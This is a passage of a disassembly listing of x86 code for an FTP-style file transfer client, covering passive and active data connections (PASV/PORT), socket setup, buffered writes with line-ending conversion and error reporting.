loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445504
		push	edx
		call	ebp ; dword_50FA60
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454FC ; jumptable 0042D351 case 1
		mov	dl, byte_445500
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454F4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454F8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454EC ; jumptable 0042D351 case 3
		mov	al, byte_4454F0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454E4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454E8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp ; dword_50FA60
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0042D8B2 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0042D8FD SIZE 0000005F BYTES

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl


loc_42D6CD:				; CODE XREF: sub_42D580+18Ej
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
		test	eax, eax
		jge	short loc_42D6CD
		push	offset aGetsockname ; "getsockname"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------
		lea	edx, [esp+130h+var_108]
		push	4
		push	edx
		push	4
		push	0FFFFh
		push	edi
		call	sub_436F84
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D74E
		push	offset aSetsockopt ; "setsockopt"
		jmp	loc_42D895
; ---------------------------------------------------------------------------


loc_42D74E:				; CODE XREF: sub_42D580+1C2j
		lea	eax, [esp+144h+var_120]
		push	4
		push	eax
		push	80h
		push	0FFFFh
		push	edi
		call	sub_436F84
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D774
		push	offset aSetsockopt ; "setsockopt"
		jmp	loc_42D895
; ---------------------------------------------------------------------------


loc_42D774:				; CODE XREF: sub_42D580+1E8j
		cmp	[ebx+24h], esi
		jnz	short loc_42D799
		lea	ecx, [esp+144h+var_134]
		push	10h
		push	ecx
		push	edi
		call	sub_436F42
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42D87B
		push	offset aConnect	; "connect"
		jmp	loc_42D895
; ---------------------------------------------------------------------------


loc_42D799:				; CODE XREF: sub_42D580+1F7j
		lea	edx, [esp+144h+var_134]
		push	10h
		push	edx
		push	edi
		mov	word ptr [esp+150h+var_134+2], bp
		call	sub_436F30
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D7B7
		push	offset aBind	; "bind"
		jmp	short loc_42D7C7
; ---------------------------------------------------------------------------


loc_42D7B7:				; CODE XREF: sub_42D580+22Ej
		push	esi
		push	edi
		call	sub_436F1E
; ---------------------------------------------------------------------------
		test	eax, eax
		jge	short loc_42D7E3
		push	offset aListen	; "listen"


loc_42D7C7:				; CODE XREF: sub_42D580+235j
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		push	edi
		call	sub_436F06
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D7E3:				; CODE XREF: sub_42D580+240j
		lea	eax, [esp+144h+var_124]
		lea	ecx, [esp+144h+var_134]
		push	eax
		push	ecx
		push	edi
		call	sub_436F2A
		test	eax, eax
		jge	short loc_42D804
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D804:				; CODE XREF: sub_42D580+275j
		mov	edx, [esp+144h+var_134+3]
		mov	eax, [esp+144h+var_134+2]
		mov	ecx, [esp+144h+var_130+3]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		mov	edx, [esp+148h+var_130+2]
		and	ecx, 0FFh
		push	eax
		mov	eax, [esp+14Ch+var_130+1]
		push	ecx
		mov	ecx, [esp+150h+var_130]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+15Ch+var_100]
		push	offset aPortDDDDDD ; "PORT %d,%d,%d,%d,%d,%d"
		push	edx
		nop
		call	near ptr 77C3F931h
		push	ebx
		lea	eax, [esp+168h+var_100]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_42D87B
		push	edi
		call	sub_436F06
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D87B:				; CODE XREF: sub_42D580+209j
					; sub_42D580+2E6j
		push	144h
		push	esi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebp
		jnz	short loc_42D8B2
		push	offset aCalloc	; "calloc"


loc_42D895:				; CODE XREF: sub_42D580+1C9j
					; sub_42D580+1EFj ...
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		push	edi
		call	sub_436F06
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D580


loc_42D8B2:				; CODE XREF: sub_42D580+30Ej
		cmp	[esp+144h+arg_8], 41h
		jnz	short loc_42D8FD
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	eax, ebp
		mov	[esi+14h], eax
		jnz	short loc_42D8FD
		push	offset aCalloc	; "calloc"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		push	edi
		call	sub_436F06
; END OF FUNCTION CHUNK	FOR sub_42D580
; ---------------------------------------------------------------------------
		db 56h,	90h, 0E8h
		dd 777FE92Fh, 8304C483h, 5E5FFFC8h, 0C4815B5Dh,	134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D580


loc_42D8FD:				; CODE XREF: sub_42D580+33Aj
					; sub_42D580+34Fj
		mov	ecx, [esp+144h+arg_C]
		mov	[esi+8], edi
		mov	[esi+18h], ecx
		mov	edx, [ebx+28h]
		mov	[esi+28h], edx
		mov	eax, [ebx+2Ch]
		mov	[esi+2Ch], eax
		mov	ecx, [ebx+34h]
		mov	[esi+34h], ecx
		mov	ecx, [esi+28h]
		mov	[esi+38h], ebp
		mov	[esi+40h], ebp
		mov	eax, [ebx+3Ch]
		cmp	ecx, ebp
		mov	[esi+3Ch], eax
		jnz	short loc_42D93D
		cmp	[esi+2Ch], ebp
		jnz	short loc_42D93D
		cmp	eax, ebp
		jnz	short loc_42D93D
		mov	[esi+30h], ebp
		jmp	short loc_42D943
; ---------------------------------------------------------------------------


loc_42D93D:				; CODE XREF: sub_42D580+3ADj
					; sub_42D580+3B2j ...
		mov	edx, [ebx+30h]
		mov	[esi+30h], edx


loc_42D943:				; CODE XREF: sub_42D580+3BBj
		mov	eax, [esp+144h+arg_4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 134h
		retn
; END OF FUNCTION CHUNK	FOR sub_42D580
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
		dd 8304C483h, 565044C6h, 819EF3E8h, 0C4839077h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42DF64
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	edi
		push	offset aNet_write3Retu ; "net_write(3) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j ...
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx ; dword_50FAC4
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx ; dword_50FAC4
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
